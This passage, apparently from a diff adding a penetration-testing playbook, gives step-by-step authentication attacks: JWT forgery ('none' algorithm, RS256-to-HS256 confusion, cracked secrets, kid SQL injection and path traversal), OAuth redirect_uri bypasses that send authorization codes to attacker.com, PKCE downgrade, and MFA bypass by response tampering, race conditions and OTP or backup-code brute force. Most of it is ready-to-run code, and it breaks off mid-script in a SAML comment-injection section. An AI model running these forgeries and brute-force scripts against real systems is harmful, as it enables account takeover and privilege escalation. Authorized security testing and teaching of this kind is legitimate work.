331
+ # Manual Python approach
332
+ python3 - <<'EOF'
333
+ import base64, json
334
+
335
+ def b64url_encode(data):
336
+ if isinstance(data, str):
337
+ data = data.encode()
338
+ return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
339
+
340
+ # Modified header
341
+ header = {"alg": "none", "typ": "JWT"}
342
+ # Modified payload - escalate role
343
+ payload = {"sub": "1234", "role": "admin", "exp": 9999999999}
344
+
345
+ h = b64url_encode(json.dumps(header, separators=(',', ':')))
346
+ p = b64url_encode(json.dumps(payload, separators=(',', ':')))
347
+
348
+ # None algorithm = no signature
349
+ forged = f"{h}.{p}."
350
+ print(f"Forged token:\n{forged}")
351
+ EOF
352
+
353
+ # Test with curl
354
+ FORGED="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0Iiwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ."
355
+ curl -H "Authorization: Bearer $FORGED" https://target.com/api/admin
356
+ ```
357
+
358
+ **Step 2 — Test variations of none**
359
+
360
+ ```bash
361
+ # Servers may be case-sensitive or check exact string
362
+ for alg in "none" "None" "NONE" "nOnE" "NoNe"; do
363
+ python3 - <<PYEOF
364
+ import base64, json
365
+
366
+ def b64url_encode(data):
367
+ if isinstance(data, str): data = data.encode()
368
+ return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
369
+
370
+ header = {"alg": "$alg", "typ": "JWT"}
371
+ payload = {"sub": "1234", "role": "admin", "exp": 9999999999}
372
+ h = b64url_encode(json.dumps(header, separators=(',', ':')))
373
+ p = b64url_encode(json.dumps(payload, separators=(',', ':')))
374
+ print(f"$alg: {h}.{p}.")
375
+ PYEOF
376
+ done
377
+ ```
378
+
379
+ #### 3.3.3 RS256 to HS256 Algorithm Confusion Attack
380
+
381
+ This attack exploits servers that use the same key for both RSA verification and HMAC secret. The attacker uses the public RSA key as the HMAC secret.
382
+
383
+ **Step 1 — Obtain the server's RSA public key**
384
+
385
+ ```bash
386
+ # Method 1: JWKS endpoint (most common)
387
+ curl -s https://target.com/.well-known/jwks.json | jq .
388
+ curl -s https://target.com/auth/.well-known/jwks.json | jq .
389
+ curl -s https://target.com/api/auth/jwks | jq .
390
+
391
+ # Common JWKS paths to try
392
+ for path in \
393
+ "/.well-known/jwks.json" \
394
+ "/jwks.json" \
395
+ "/auth/jwks" \
396
+ "/oauth/jwks" \
397
+ "/.well-known/openid-configuration"; do
398
+ echo -n "$path: "
399
+ curl -s -o /dev/null -w "%{http_code}" https://target.com$path
400
+ echo
401
+ done
402
+
403
+ # Method 2: Extract from existing JWT if embedded (x5c claim)
404
+ echo $TOKEN | cut -d. -f1 | base64 -d | jq -r '.x5c[0]' | \
405
+ openssl x509 -pubkey -noout 2>/dev/null
406
+
407
+ # Method 3: SSL certificate public key (sometimes reused)
408
+ echo | openssl s_client -connect target.com:443 2>/dev/null | \
409
+ openssl x509 -pubkey -noout > /tmp/server_pub.pem
410
+
411
+ # Method 4: Derive from two JWTs (if you have multiple tokens)
412
+ # Use rsa_sign2n tool
413
+ python3 rsa_sign2n/rsa_sign2n.py $TOKEN1 $TOKEN2
414
+ ```
415
+
416
+ **Step 2 — Convert JWKS public key to PEM**
417
+
418
+ ```python
419
+ # Convert JWK to PEM format
420
+ python3 - <<'EOF'
421
+ import json, base64
422
+ from cryptography.hazmat.primitives.asymmetric import rsa
423
+ from cryptography.hazmat.primitives import serialization
424
+ from cryptography.hazmat.backends import default_backend
425
+
426
+ # Paste your JWK here
427
+ jwk = {
428
+ "kty": "RSA",
429
+ "n": "PASTE_N_VALUE_HERE",
430
+ "e": "AQAB"
431
+ }
432
+
433
+ def b64url_decode(s):
434
+ s += '=' * (4 - len(s) % 4)
435
+ return base64.urlsafe_b64decode(s)
436
+
437
+ n = int.from_bytes(b64url_decode(jwk['n']), 'big')
438
+ e = int.from_bytes(b64url_decode(jwk['e']), 'big')
439
+
440
+ public_key = rsa.RSAPublicNumbers(e, n).public_key(default_backend())
441
+ pem = public_key.public_bytes(
442
+ encoding=serialization.Encoding.PEM,
443
+ format=serialization.PublicFormat.SubjectPublicKeyInfo
444
+ )
445
+ print(pem.decode())
446
+ with open('/tmp/server_pub.pem', 'wb') as f:
447
+ f.write(pem)
448
+ print("Saved to /tmp/server_pub.pem")
449
+ EOF
450
+ ```
451
+
452
+ **Step 3 — Forge HS256 token signed with the RSA public key**
453
+
454
+ ```bash
455
+ # Using jwt_tool (automated - recommended)
456
+ python3 jwt_tool.py $TOKEN -X k -pk /tmp/server_pub.pem
457
+
458
+ # Manual Python approach
459
+ python3 - <<'EOF'
460
+ import base64, json, hmac, hashlib
461
+
462
+ def b64url_encode(data):
463
+ if isinstance(data, str): data = data.encode()
464
+ return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
465
+
466
+ # Read public key bytes as the HMAC secret
467
+ with open('/tmp/server_pub.pem', 'rb') as f:
468
+ secret = f.read()
469
+
470
+ # Forge header with HS256
471
+ header = {"alg": "HS256", "typ": "JWT"}
472
+ # Forge payload with elevated privileges
473
+ payload = {"sub": "1234", "role": "admin", "exp": 9999999999}
474
+
475
+ h = b64url_encode(json.dumps(header, separators=(',', ':')))
476
+ p = b64url_encode(json.dumps(payload, separators=(',', ':')))
477
+ signing_input = f"{h}.{p}".encode()
478
+
479
+ sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
480
+ s = b64url_encode(sig)
481
+
482
+ forged = f"{h}.{p}.{s}"
483
+ print(f"Forged HS256 token (signed with RSA public key):")
484
+ print(forged)
485
+ EOF
486
+
487
+ # Test the forged token
488
+ curl -H "Authorization: Bearer $FORGED_TOKEN" \
489
+ https://target.com/api/admin/users -v
490
+ ```
491
+
492
+ **Step 4 — Modify payload claims before forging**
493
+
494
+ ```bash
495
+ # Common payload modifications
496
+ python3 - <<'EOF'
497
+ import base64, json
498
+
499
+ def b64url_decode(s):
500
+ s += '=' * (4 - len(s) % 4)
501
+ return base64.urlsafe_b64decode(s).decode()
502
+
503
+ token = "YOUR_TOKEN_HERE"
504
+ payload_b64 = token.split('.')[1]
505
+ payload = json.loads(b64url_decode(payload_b64))
506
+ print("Original payload:", json.dumps(payload, indent=2))
507
+
508
+ # Modifications to try:
509
+ # payload['role'] = 'admin'
510
+ # payload['sub'] = '1' # often admin user
511
+ # payload['user_id'] = 0 # SQL admin bypass
512
+ # payload['is_admin'] = True
513
+ # payload['scope'] = 'admin read write'
514
+ # payload['groups'] = ['admin', 'superuser']
515
+ # payload['exp'] = 9999999999 # extend expiry
516
+ EOF
517
+ ```
518
+
519
+ #### 3.3.4 Weak Secret Attack (HS256)
520
+
521
+ **Step 1 — Extract JWT for cracking**
522
+
523
+ ```bash
524
+ # jwt_tool scan for weak secrets
525
+ python3 jwt_tool.py $TOKEN -C -d /usr/share/wordlists/rockyou.txt
526
+
527
+ # hashcat JWT cracking
528
+ echo $TOKEN > /tmp/jwt.txt
529
+ hashcat -a 0 -m 16500 /tmp/jwt.txt /usr/share/wordlists/rockyou.txt \
530
+ --potfile-path /tmp/jwt.pot -O
531
+
532
+ # john the ripper
533
+ john --format=HMAC-SHA256 /tmp/jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt
534
+
535
+ # Custom wordlist for JWT secrets
536
+ cat > /tmp/jwt_secrets.txt <<'SECRETS'
537
+ secret
538
+ password
539
+ 123456
540
+ jwt_secret
541
+ mysecret
542
+ supersecret
543
+ your-256-bit-secret
544
+ your-secret-key
545
+ secret123
546
+ jwt-secret
547
+ jwtpassword
548
+ hs256secret
549
+ SECRETS
550
+
551
+ hashcat -a 0 -m 16500 /tmp/jwt.txt /tmp/jwt_secrets.txt -O --show
552
+ ```
553
+
554
+ **Step 2 — Forge after cracking**
555
+
556
+ ```python
557
+ python3 - <<'EOF'
558
+ import jwt # PyJWT
559
+
560
+ secret = "secret123" # cracked secret
561
+ payload = {"sub": "1", "role": "admin", "exp": 9999999999}
562
+
563
+ token = jwt.encode(payload, secret, algorithm="HS256")
564
+ print(f"Forged token: {token}")
565
+ EOF
566
+ ```
567
+
568
+ #### 3.3.5 JWT kid Parameter Injection
569
+
570
+ The `kid` (Key ID) header parameter is used to select a verification key. If it's passed unsanitized to a database query or filesystem read, it can be injected.
571
+
572
+ **Step 1 — Identify kid usage**
573
+
574
+ ```bash
575
+ # Decode JWT header to find kid
576
+ echo $TOKEN | cut -d. -f1 | base64 -d | python3 -m json.tool
577
+ # Look for: "kid": "some-key-id"
578
+ ```
579
+
580
+ **Step 2 — SQL injection via kid**
581
+
582
+ ```bash
583
+ # Inject SQL to make the server use a known value as the key
584
+ # If the query is: SELECT secret FROM keys WHERE kid = '<KID>'
585
+ # Inject: ' UNION SELECT 'hacked'-- -
586
+
587
+ # The server will use 'hacked' as the HMAC secret
588
+ # Sign your token with 'hacked' as the secret
589
+
590
+ python3 - <<'EOF'
591
+ import base64, json, hmac, hashlib
592
+
593
+ def b64url_encode(data):
594
+ if isinstance(data, str): data = data.encode()
595
+ return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
596
+
597
+ # kid payload with SQL injection
598
+ header = {
599
+ "alg": "HS256",
600
+ "typ": "JWT",
601
+ "kid": "' UNION SELECT 'hacked'-- -"
602
+ }
603
+ payload = {"sub": "1", "role": "admin", "exp": 9999999999}
604
+
605
+ h = b64url_encode(json.dumps(header, separators=(',', ':')))
606
+ p = b64url_encode(json.dumps(payload, separators=(',', ':')))
607
+ signing_input = f"{h}.{p}".encode()
608
+
609
+ secret = b"hacked"
610
+ sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
611
+ s = b64url_encode(sig)
612
+ print(f"{h}.{p}.{s}")
613
+ EOF
614
+
615
+ # jwt_tool kid injection
616
+ python3 jwt_tool.py $TOKEN -I -hc kid -hv "' UNION SELECT 'hacked'-- -" \
617
+ -S hs256 -p "hacked"
618
+ ```
619
+
620
+ **Step 3 — Path traversal via kid**
621
+
622
+ ```bash
623
+ # If kid is used to read a key file: /keys/<kid>
624
+ # Inject path traversal to use /dev/null (empty key) or a known file
625
+
626
+ python3 - <<'EOF'
627
+ import base64, json, hmac, hashlib
628
+
629
+ def b64url_encode(data):
630
+ if isinstance(data, str): data = data.encode()
631
+ return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
632
+
633
+ # Point to /dev/null — empty string as HMAC key
634
+ header = {
635
+ "alg": "HS256",
636
+ "typ": "JWT",
637
+ "kid": "../../../../../../dev/null"
638
+ }
639
+ payload = {"sub": "1", "role": "admin", "exp": 9999999999}
640
+
641
+ h = b64url_encode(json.dumps(header, separators=(',', ':')))
642
+ p = b64url_encode(json.dumps(payload, separators=(',', ':')))
643
+ signing_input = f"{h}.{p}".encode()
644
+
645
+ # Empty secret (from /dev/null)
646
+ secret = b""
647
+ sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
648
+ s = b64url_encode(sig)
649
+ print(f"Path traversal token:\n{h}.{p}.{s}")
650
+ EOF
651
+
652
+ # Common path traversal kid payloads
653
+ # "../../dev/null"
654
+ # "../../../etc/passwd"
655
+ # "/proc/self/fd/0"
656
+ # "../../../../../../../../dev/null"
657
+ ```
658
+
659
+ ---
660
+
661
+ ### 3.4 OAuth 2.0 Misconfiguration Workflow
662
+
663
+ #### 3.4.1 Reconnaissance
664
+
665
+ **Step 1 — Discover OAuth endpoints**
666
+
667
+ ```bash
668
+ # Check OpenID Connect discovery document
669
+ curl -s https://target.com/.well-known/openid-configuration | jq .
670
+ curl -s https://auth.target.com/.well-known/openid-configuration | jq .
671
+
672
+ # Extract key endpoints
673
+ curl -s https://target.com/.well-known/openid-configuration | jq '{
674
+ auth_endpoint: .authorization_endpoint,
675
+ token_endpoint: .token_endpoint,
676
+ jwks_uri: .jwks_uri,
677
+ userinfo_endpoint: .userinfo_endpoint
678
+ }'
679
+
680
+ # Find OAuth flows in JavaScript
681
+ curl -s https://target.com/app.js | grep -i 'redirect_uri\|client_id\|oauth\|authorize'
682
+
683
+ # Capture OAuth flow in Burp and analyze parameters
684
+ # Look for: client_id, redirect_uri, scope, state, code_challenge
685
+ ```
686
+
687
+ #### 3.4.2 redirect_uri Bypass
688
+
689
+ **Step 1 — Identify the registered redirect_uri**
690
+
691
+ ```bash
692
+ # The redirect_uri appears in the authorization URL
693
+ # https://auth.target.com/authorize?
694
+ # client_id=abc&
695
+ # redirect_uri=https://target.com/callback&
696
+ # response_type=code&
697
+ # scope=openid
698
+
699
+ ORIGINAL_URI="https://target.com/callback"
700
+ ```
701
+
702
+ **Step 2 — Test redirect_uri bypass techniques**
703
+
704
+ ```bash
705
+ BASE_AUTH="https://auth.target.com/authorize?client_id=abc&response_type=code&scope=openid"
706
+
707
+ # Technique 1: Open redirect on the registered domain
708
+ # If target.com/redirect?url= is an open redirect
709
+ curl -v "${BASE_AUTH}&redirect_uri=https://target.com/redirect?url=https://attacker.com"
710
+
711
+ # Technique 2: Path traversal
712
+ curl -v "${BASE_AUTH}&redirect_uri=https://target.com/callback/../evil"
713
+ curl -v "${BASE_AUTH}&redirect_uri=https://target.com/callback/../../evil"
714
+
715
+ # Technique 3: Different path under same domain
716
+ curl -v "${BASE_AUTH}&redirect_uri=https://target.com/different-path"
717
+ curl -v "${BASE_AUTH}&redirect_uri=https://target.com/callback.evil.com"
718
+
719
+ # Technique 4: Subdomain variations
720
+ curl -v "${BASE_AUTH}&redirect_uri=https://evil.target.com/callback"
721
+ curl -v "${BASE_AUTH}&redirect_uri=https://target.com.evil.com/callback"
722
+
723
+ # Technique 5: Protocol variations
724
+ curl -v "${BASE_AUTH}&redirect_uri=http://target.com/callback" # HTTP instead of HTTPS
725
+ curl -v "${BASE_AUTH}&redirect_uri=JavaScript://target.com/callback" # JS URI
726
+
727
+ # Technique 6: URL encoding bypass
728
+ curl -v "${BASE_AUTH}&redirect_uri=https://target.com%2Fcallback"
729
+ curl -v "${BASE_AUTH}&redirect_uri=https://target.com/callback%00.evil.com"
730
+
731
+ # Technique 7: Port confusion
732
+ curl -v "${BASE_AUTH}&redirect_uri=https://target.com:8443/callback"
733
+
734
+ # Technique 8: Localhost bypass (dev/staging leftover)
735
+ curl -v "${BASE_AUTH}&redirect_uri=http://localhost/callback"
736
+ curl -v "${BASE_AUTH}&redirect_uri=http://127.0.0.1/callback"
737
+
738
+ # Technique 9: Wildcard misuse
739
+ # If registered: https://target.com/*
740
+ curl -v "${BASE_AUTH}&redirect_uri=https://target.com/callback/../../attacker.com"
741
+ ```
742
+
743
+ **Step 3 — Steal the authorization code**
744
+
745
+ ```bash
746
+ # Set up a listener on attacker.com
747
+ # The auth code will appear in the URL when the victim clicks a link
748
+
749
+ # Example attack URL to send to victim:
750
+ echo "https://auth.target.com/authorize?client_id=abc&response_type=code&scope=openid&redirect_uri=https://target.com/redirect?url=https://attacker.com&state=csrf123"
751
+
752
+ # On attacker.com, capture the code parameter from:
753
+ # GET /? code=AUTH_CODE_HERE&state=csrf123
754
+
755
+ # Exchange code for tokens
756
+ curl -X POST https://auth.target.com/token \
757
+ -d "grant_type=authorization_code" \
758
+ -d "code=AUTH_CODE_HERE" \
759
+ -d "redirect_uri=https://attacker.com" \
760
+ -d "client_id=abc" \
761
+ -d "client_secret=secret_if_known"
762
+ ```
763
+
764
+ #### 3.4.3 State Parameter CSRF
765
+
766
+ ```bash
767
+ # If state parameter is missing or predictable, CSRF attack is possible
768
+ # Step 1: Initiate OAuth flow without state
769
+ # Step 2: Capture the authorization URL
770
+ # Step 3: Victim clicks the URL (while already logged into the OAuth provider)
771
+ # Step 4: Victim's account gets linked to attacker's identity
772
+
773
+ # Test: Does removing state parameter work?
774
+ curl -v "https://auth.target.com/authorize?client_id=abc&redirect_uri=https://target.com/callback&response_type=code&scope=openid"
775
+ # (no state parameter)
776
+ ```
777
+
778
+ #### 3.4.4 PKCE Downgrade Attack
779
+
780
+ ```bash
781
+ # PKCE (Proof Key for Code Exchange) prevents code interception
782
+ # If the server doesn't enforce PKCE, downgrade by omitting it
783
+
784
+ # Normal PKCE request includes:
785
+ # code_challenge=BASE64URL(SHA256(code_verifier))
786
+ # code_challenge_method=S256
787
+
788
+ # Downgrade: Remove code_challenge parameters
789
+ curl -v "https://auth.target.com/authorize?\
790
+ client_id=abc&\
791
+ redirect_uri=https://target.com/callback&\
792
+ response_type=code&\
793
+ scope=openid"
794
+ # (no code_challenge or code_challenge_method)
795
+
796
+ # If server returns a code without requiring PKCE verification,
797
+ # you can exchange the code without the code_verifier:
798
+ curl -X POST https://auth.target.com/token \
799
+ -d "grant_type=authorization_code" \
800
+ -d "code=STOLEN_CODE" \
801
+ -d "redirect_uri=https://target.com/callback" \
802
+ -d "client_id=abc"
803
+ # (no code_verifier required)
804
+ ```
805
+
806
+ #### 3.4.5 Token Leakage via Referrer
807
+
808
+ ```bash
809
+ # If response_type=token (implicit flow), the token is in the URL fragment
810
+ # Check if the application leaks the token via Referrer header
811
+
812
+ # Look for requests made FROM the callback page with token in URL
813
+ # In Burp: Search HTTP history for "access_token=" in request URLs
814
+
815
+ # Also check:
816
+ # - Browser history
817
+ # - Server access logs (if accessible)
818
+ # - JavaScript that reads window.location.hash and passes it to third-party analytics
819
+
820
+ curl -s https://target.com/dashboard | grep -i 'analytics\|gtm\|ga\.\|pixel'
821
+ ```
822
+
823
+ ---
824
+
825
+ ### 3.5 MFA Bypass Workflow
826
+
827
+ #### 3.5.1 Response Manipulation
828
+
829
+ **Step 1 — Capture the MFA verification request in Burp**
830
+
831
+ ```
832
+ POST /api/mfa/verify HTTP/1.1
833
+ Host: target.com
834
+ Content-Type: application/json
835
+
836
+ {"code": "123456"}
837
+
838
+ Response (failure):
839
+ {"success": false, "message": "Invalid code"}
840
+
841
+ Response (success):
842
+ {"success": true, "redirect": "/dashboard"}
843
+ ```
844
+
845
+ **Step 2 — Intercept and modify the response**
846
+
847
+ ```
848
+ In Burp Proxy:
849
+ 1. Enable "Intercept responses" (Options > Intercept Client Responses)
850
+ 2. Submit wrong OTP code (e.g., 000000)
851
+ 3. Intercept the failure response
852
+ 4. Change: {"success": false} to {"success": true}
853
+ 5. Forward modified response
854
+ 6. Observe if application grants access
855
+
856
+ Also try:
857
+ - Change HTTP status code from 200 to 302
858
+ - Add "redirect" field: {"success": false, "redirect": "/dashboard"}
859
+ - Remove error field: {} (empty JSON)
860
+ ```
861
+
862
+ **Step 3 — Automate with Burp Repeater rule**
863
+
864
+ ```
865
+ Burp > Project Options > Match and Replace:
866
+ - Type: Response body
867
+ - Match: "success":false
868
+ - Replace: "success":true
869
+ ```
870
+
871
+ #### 3.5.2 OTP Code Reuse
872
+
873
+ ```bash
874
+ # Test if OTP codes can be reused within the validity window
875
+ # Step 1: Get a valid OTP code from your authenticator app
876
+ # Step 2: Use it to log in successfully
877
+ # Step 3: Immediately try to use the SAME code again
878
+
879
+ curl -X POST https://target.com/api/mfa/verify \
880
+ -H "Cookie: session=CAPTURED_SESSION" \
881
+ -d '{"code": "123456"}'
882
+
883
+ # Wait 30 seconds (OTP window boundary) and try again
884
+ sleep 31
885
+ curl -X POST https://target.com/api/mfa/verify \
886
+ -H "Cookie: session=CAPTURED_SESSION" \
887
+ -d '{"code": "123456"}'
888
+
889
+ # Also test: can you use the PREVIOUS OTP window code?
890
+ # TOTP generates codes in 30s windows; try the code from t-30 seconds
891
+ ```
892
+
893
+ #### 3.5.3 Race Condition OTP Bypass
894
+
895
+ ```bash
896
+ # Send multiple simultaneous requests with the same OTP
897
+ # If the server doesn't properly lock before consuming the OTP,
898
+ # multiple requests might succeed
899
+
900
+ # Python race condition exploit
901
+ python3 - <<'EOF'
902
+ import requests, threading, time
903
+
904
+ TARGET = "https://target.com/api/mfa/verify"
905
+ SESSION_COOKIE = "session=CAPTURED_SESSION_AFTER_PASSWORD"
906
+ OTP_CODE = "123456" # Valid OTP
907
+ NUM_THREADS = 20
908
+
909
+ results = []
910
+ lock = threading.Lock()
911
+
912
+ def send_request(thread_id):
913
+ headers = {"Cookie": SESSION_COOKIE, "Content-Type": "application/json"}
914
+ data = f'{{"code": "{OTP_CODE}"}}'
915
+ try:
916
+ r = requests.post(TARGET, headers=headers, data=data, timeout=5)
917
+ with lock:
918
+ results.append((thread_id, r.status_code, r.text[:100]))
919
+ except Exception as e:
920
+ with lock:
921
+ results.append((thread_id, 'ERROR', str(e)))
922
+
923
+ # Synchronize thread start for maximum race condition effect
924
+ barrier = threading.Barrier(NUM_THREADS + 1)
925
+
926
+ def synced_request(tid):
927
+ barrier.wait() # Wait for all threads to be ready
928
+ send_request(tid)
929
+
930
+ threads = [threading.Thread(target=synced_request, args=(i,)) for i in range(NUM_THREADS)]
931
+ for t in threads: t.start()
932
+ barrier.wait() # Release all threads simultaneously
933
+ for t in threads: t.join()
934
+
935
+ for tid, code, text in results:
936
+ print(f"Thread {tid}: HTTP {code} | {text}")
937
+ EOF
938
+ ```
939
+
940
+ #### 3.5.4 OTP Brute Force (when no rate limit)
941
+
942
+ ```bash
943
+ # If there's no rate limit or lockout on OTP endpoint
944
+ python3 - <<'EOF'
945
+ import requests, time
946
+
947
+ TARGET = "https://target.com/api/mfa/verify"
948
+ COOKIE = "session=CAPTURED_SESSION"
949
+
950
+ headers = {"Cookie": COOKIE, "Content-Type": "application/json"}
951
+
952
+ for code in range(0, 1000000):
953
+ otp = str(code).zfill(6)
954
+ r = requests.post(TARGET, headers=headers,
955
+ json={"code": otp}, timeout=5)
956
+ if "success" in r.text and "true" in r.text.lower():
957
+ print(f"[HIT] OTP: {otp}")
958
+ break
959
+ if code % 1000 == 0:
960
+ print(f"Tried {code}/1000000...")
961
+ time.sleep(0.05) # Adjust based on rate limits
962
+ EOF
963
+
964
+ # Burp Intruder brute force OTP:
965
+ # 1. Capture MFA verify request
966
+ # 2. Send to Intruder
967
+ # 3. Mark the OTP field
968
+ # 4. Payload: Numbers 0-999999, min/max 6 digits, step 1
969
+ # 5. Watch for different response length/status
970
+ ```
971
+
972
+ #### 3.5.5 MFA Bypass via Direct Navigation
973
+
974
+ ```bash
975
+ # Test if MFA step can be skipped by directly accessing protected endpoints
976
+ # after completing only the password step
977
+
978
+ # Step 1: Submit correct username/password (do NOT submit OTP)
979
+ curl -c /tmp/cookies.txt -X POST https://target.com/login \
980
+ -d "username=user@target.com&password=Password1!"
981
+
982
+ # Step 2: Without submitting OTP, try to access protected pages
983
+ curl -b /tmp/cookies.txt https://target.com/dashboard
984
+ curl -b /tmp/cookies.txt https://target.com/api/profile
985
+ curl -b /tmp/cookies.txt https://target.com/admin
986
+
987
+ # Step 3: Manipulate the session state
988
+ # If server uses a flag like mfa_verified=false in session cookie:
989
+ # Decode the session cookie, flip the flag, re-encode and test
990
+ ```
991
+
992
+ #### 3.5.6 Backup Code Exploitation
993
+
994
+ ```bash
995
+ # Test backup code properties
996
+ # 1. Enumeration: Are backup codes sequential?
997
+ # 2. Reuse: Can a backup code be used multiple times?
998
+ # 3. Generation: Can you force regeneration to invalidate existing codes?
999
+ # 4. Brute force: Are backup codes short enough to brute force?
1000
+
1001
+ # Common backup code formats:
1002
+ # 8-digit numeric: 10^8 = 100 million combinations
1003
+ # 10 chars alphanumeric: 36^10 = 3.6 trillion (too many)
1004
+ # 8 chars lowercase hex: 16^8 = 4 billion
1005
+
1006
+ # If 8-digit numeric with no rate limit:
1007
+ python3 - <<'EOF'
1008
+ import requests
1009
+
1010
+ for code in range(10000000, 99999999):
1011
+ r = requests.post("https://target.com/api/backup-code/verify",
1012
+ json={"code": str(code)},
1013
+ cookies={"session": "CAPTURED_SESSION"})
1014
+ if r.status_code == 200 and "success" in r.text:
1015
+ print(f"[HIT] Backup code: {code}")
1016
+ break
1017
+ EOF
1018
+ ```
1019
+
1020
+ ---
1021
+
1022
+ ### 3.6 SAML Attack Workflow
1023
+
1024
+ #### 3.6.1 Reconnaissance
1025
+
1026
+ **Step 1 — Identify SAML endpoints and metadata**
1027
+
1028
+ ```bash
1029
+ # Common SAML SP metadata paths
1030
+ for path in \
1031
+ "/saml/metadata" \
1032
+ "/auth/saml/metadata" \
1033
+ "/sso/saml/metadata" \
1034
+ "/_saml/metadata" \
1035
+ "/api/auth/saml/metadata" \
1036
+ "/Saml2/Metadata"; do
1037
+ code=$(curl -s -o /dev/null -w "%{http_code}" https://target.com$path)
1038
+ echo "$path: $code"
1039
+ done
1040
+
1041
+ # Parse metadata to understand configuration
1042
+ curl -s https://target.com/saml/metadata | python3 - <<'EOF'
1043
+ import sys
1044
+ from xml.etree import ElementTree as ET
1045
+ data = sys.stdin.read()
1046
+ root = ET.fromstring(data)
1047
+ print(ET.tostring(root, indent=' ').decode())
1048
+ EOF
1049
+
1050
+ # Capture SAML flow in Burp:
1051
+ # 1. SP-initiated: Click "Login with SSO"
1052
+ # 2. Capture the SAMLRequest (base64 encoded XML)
1053
+ # 3. Capture the SAMLResponse from IdP
1054
+ ```
1055
+
1056
+ **Step 2 — Decode and inspect SAML assertions**
1057
+
1058
+ ```bash
1059
+ # Decode SAMLResponse (base64 + possibly gzip)
1060
+ SAML_RESPONSE="BASE64_ENCODED_SAML_RESPONSE"
1061
+
1062
+ # Decode
1063
+ echo $SAML_RESPONSE | base64 -d | xmllint --format - 2>/dev/null
1064
+
1065
+ # If deflate compressed (SAMLRequest in redirect binding):
1066
+ echo $SAML_RESPONSE | base64 -d | python3 -c "
1067
+ import sys, zlib
1068
+ data = sys.stdin.buffer.read()
1069
+ print(zlib.decompress(data, -15).decode())
1070
+ "
1071
+
1072
+ # Using python-saml or pysaml2 for analysis
1073
+ pip3 install python3-saml
1074
+ python3 - <<'EOF'
1075
+ import base64
1076
+ from lxml import etree
1077
+
1078
+ response_b64 = "PASTE_SAML_RESPONSE_HERE"
1079
+ response_xml = base64.b64decode(response_b64)
1080
+ root = etree.fromstring(response_xml)
1081
+ print(etree.tostring(root, pretty_print=True).decode())
1082
+ EOF
1083
+ ```
1084
+
1085
+ #### 3.6.2 XML Signature Wrapping (XSW) Attack
1086
+
1087
+ XSW attacks move the signed portion of the XML while inserting a malicious unsigned portion that the application processes.
1088
+
1089
+ **Step 1 — Understand the SAML assertion structure**
1090
+
1091
+ ```xml
1092
+ <!-- Legitimate SAML response structure -->
1093
+ <samlp:Response>
1094
+ <Signature>
1095
+ <!-- Signs the Assertion below -->
1096
+ <Reference URI="#assertion1"/>
1097
+ </Signature>
1098
+ <saml:Assertion ID="assertion1">
1099
+ <saml:Subject>
1100
+ <saml:NameID>victim@target.com</saml:NameID>
1101
+ </saml:Subject>
1102
+ <saml:AttributeStatement>
1103
+ <saml:Attribute Name="role">
1104
+ <saml:AttributeValue>user</saml:AttributeValue>
1105
+ </saml:Attribute>
1106
+ </saml:AttributeStatement>
1107
+ </saml:Assertion>
1108
+ </samlp:Response>
1109
+ ```
1110
+
1111
+ **Step 2 — Craft XSW payloads using SAMLraider (Burp plugin)**
1112
+
1113
+ ```
1114
+ In Burp Suite with SAMLraider plugin:
1115
+ 1. Capture the SAMLResponse in Proxy
1116
+ 2. Right-click -> Extensions -> SAML Raider -> Send to SAML Raider
1117
+ 3. In SAML Raider tab, select "XSW Attacks"
1118
+ 4. Click "Apply XSW1" through "XSW8" one at a time
1119
+ 5. For each variant, modify the evil assertion's NameID to admin@target.com
1120
+ 6. Forward and observe if admin access is granted
1121
+
1122
+ XSW variants:
1123
+ - XSW1: Evil element before signature (Response level)
1124
+ - XSW2: Evil element after signature (Response level)
1125
+ - XSW3: Evil assertion wraps signature
1126
+ - XSW4: Evil assertion after original
1127
+ - XSW5-8: Various nesting combinations
1128
+ ```
1129
+
1130
+ **Step 3 — Manual XSW attack**
1131
+
1132
+ ```python
1133
+ python3 - <<'EOF'
1134
+ import base64
1135
+ from lxml import etree
1136
+
1137
+ # Decode original SAML response
1138
+ original_b64 = "PASTE_ORIGINAL_SAML_RESPONSE_HERE"
1139
+ response_xml = base64.b64decode(original_b64)
1140
+ root = etree.fromstring(response_xml)
1141
+
1142
+ NS = {
1143
+ 'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
1144
+ 'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
1145
+ 'ds': 'http://www.w3.org/2000/09/xmldsig#'
1146
+ }
1147
+
1148
+ # Find the original assertion
1149
+ assertion = root.find('.//saml:Assertion', NS)
1150
+ original_id = assertion.get('ID')
1151
+
1152
+ # Create evil assertion with admin privileges
1153
+ evil_assertion = etree.fromstring(f'''
1154
+ <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
1155
+ ID="evil_assertion" Version="2.0">
1156
+ <saml:Subject>
1157
+ <saml:NameID>admin@target.com</saml:NameID>
1158
+ </saml:Subject>
1159
+ <saml:AttributeStatement>
1160
+ <saml:Attribute Name="role">
1161
+ <saml:AttributeValue>admin</saml:AttributeValue>
1162
+ </saml:Attribute>
1163
+ </saml:AttributeStatement>
1164
+ </saml:Assertion>''')
1165
+
1166
+ # XSW2: Insert evil assertion before original (moves original into Extensions)
1167
+ extensions = etree.SubElement(root, '{urn:oasis:names:tc:SAML:2.0:protocol}Extensions')
1168
+ extensions.append(assertion)
1169
+ root.insert(list(root).index(extensions), evil_assertion)
1170
+
1171
+ modified_xml = etree.tostring(root, xml_declaration=True, encoding='UTF-8')
1172
+ modified_b64 = base64.b64encode(modified_xml).decode()
1173
+ print(f"XSW Payload (base64):\n{modified_b64}")
1174
+ EOF
1175
+ ```
1176
+
1177
+ #### 3.6.3 SAML Comment Injection
1178
+
1179
+ ```python
1180
+ # Some parsers handle XML comments in ways that bypass signature checks
1181
+ python3 - <<'EOF'
1182
+ import base64
1183
+ from lxml import etree
1184
+
1185
+ # Inject a comment into the NameID to confuse parsers
1186
+ # Different parsers may read different parts of: user<!--comment-->admin
1187
+
